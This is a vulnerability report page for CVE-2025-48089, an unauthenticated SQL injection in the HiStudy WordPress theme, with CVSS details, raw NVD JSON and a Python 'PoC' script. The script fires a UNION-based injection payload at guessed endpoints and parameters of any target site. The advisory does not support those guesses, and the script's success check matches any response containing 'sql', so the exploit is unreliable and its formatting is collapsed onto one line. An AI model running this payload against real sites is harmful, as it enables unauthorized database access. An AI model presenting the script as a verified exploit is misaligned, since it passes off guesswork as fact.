Security Vulnerability Report
中文
CVE-2025-48089 CVSS 9.3 CRITICAL

CVE-2025-48089

Published: 2025-11-06 16:15:52
Last Modified: 2026-04-27 20:16:07

Description

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Rainbow-Themes Education WordPress Theme | HiStudy histudy allows SQL Injection.This issue affects Education WordPress Theme | HiStudy: from n/a through < 3.1.0.

CVSS Details

CVSS Score
9.3
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L

Configurations (Affected Products)

No configuration data available.

HiStudy WordPress主题 < 3.1.0
Rainbow-Themes Education WordPress Theme (所有低于3.1.0的版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-48089 PoC - HiStudy SQL Injection # Target: WordPress site using HiStudy theme < 3.1.0 def exploit_sqli(target_url): """ SQL Injection PoC for CVE-2025-48089 This demonstrates extracting database version information """ # Common vulnerable endpoints in HiStudy theme endpoints = [ '/wp-admin/admin-ajax.php', '/wp-json/histudy/v1/', '/?rest_route=/histudy/v1/' ] # SQL Injection payload - extracts database version # Using UNION-based injection technique payload = "' UNION SELECT NULL,NULL,@@version,NULL,NULL-- -" # Common vulnerable parameters params = ['id', 'course_id', 'lesson_id', 'page_id'] for endpoint in endpoints: for param in params: try: url = target_url.rstrip('/') + endpoint data = {param: payload} response = requests.post(url, data=data, timeout=10, verify=False) # Check for SQL error messages or successful injection if 'mysql' in response.text.lower() or 'sql' in response.text.lower(): print(f"[+] Potential vulnerability found at {url}") print(f"[+] Parameter: {param}") return True except Exception as e: continue return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-48089.py <target_url>") print("Example: python cve-2025-48089.py http://target.com") sys.exit(1) target = sys.argv[1] print(f"[*] Scanning {target} for CVE-2025-48089...") if exploit_sqli(target): print("[!] Target appears to be vulnerable") else: print("[-] Target does not appear to be vulnerable")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-48089", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:15:52.270", "lastModified": "2026-04-27T20:16:06.917", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Rainbow-Themes Education WordPress Theme | HiStudy histudy allows SQL Injection.This issue affects Education WordPress Theme | HiStudy: from n/a through < 3.1.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/histudy/vulnerability/wordpress-education-wordpress-theme-histudy-theme-3-1-0-sql-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}